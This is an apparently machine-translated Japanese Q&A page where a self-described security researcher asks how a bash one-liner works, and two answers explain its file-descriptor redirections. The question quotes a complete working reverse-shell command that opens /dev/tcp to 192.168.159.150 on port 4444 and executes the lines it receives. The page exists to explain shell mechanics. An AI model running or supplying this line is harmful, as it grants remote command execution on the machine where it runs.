このコマンドリダイレクトはどのように機能しますか?

このコマンドリダイレクトはどのように機能しますか?

私はセキュリティに関する調査を行っていますが、次のスニペットが Unix ベースの OS でどのように機能するのか疑問に思っています。

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

私は完全に認識していますこのコードはそれを実行します (つまり、ポート 4444 経由で 192.168.159.150 へのリバース シェルを確立します) が、これらのセクションが何をしているのかわかりません。

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

そして、一般的に、これがどのように組み合わさって、私が見ているシェルが生成されるのでしょうか。

どなたかこれを説明していただいたり、これを理解するための正しい方向を示していただくことは可能でしょうか?

ありがとう

答え1

簡単に説明すると:

exec 5<>読み取りと書き込みの両方で新しいファイルハンドルを開き、名前を付けます5

cat <&5新しく開かれたファイルハンドルから読み取っています

2>&5 >&52は、ファイル ハンドル(stderr) とファイル ハンドル(stdout)の両方の出力を1ファイル ハンドルにリダイレクトします51この場合、2 番目のリダイレクトでファイル ハンドル番号が指定されなかったため、 が暗黙的に指定されます。

答え2

質問の一部は回答されていますここ

しかし

  1. これは番号5の新しいファイル記述子を定義します。ちなみに0はSTDIN、1はSTDOUT、2はSTDERRファイル記述子です。
  2. TCP、IP 192.168.159.150、ポート 4444 経由で受信した情報をエコーし​​ます。
  3. STDERRとSTDOUTをファイルハンドラ5(ネットワーク)に送信する

関連情報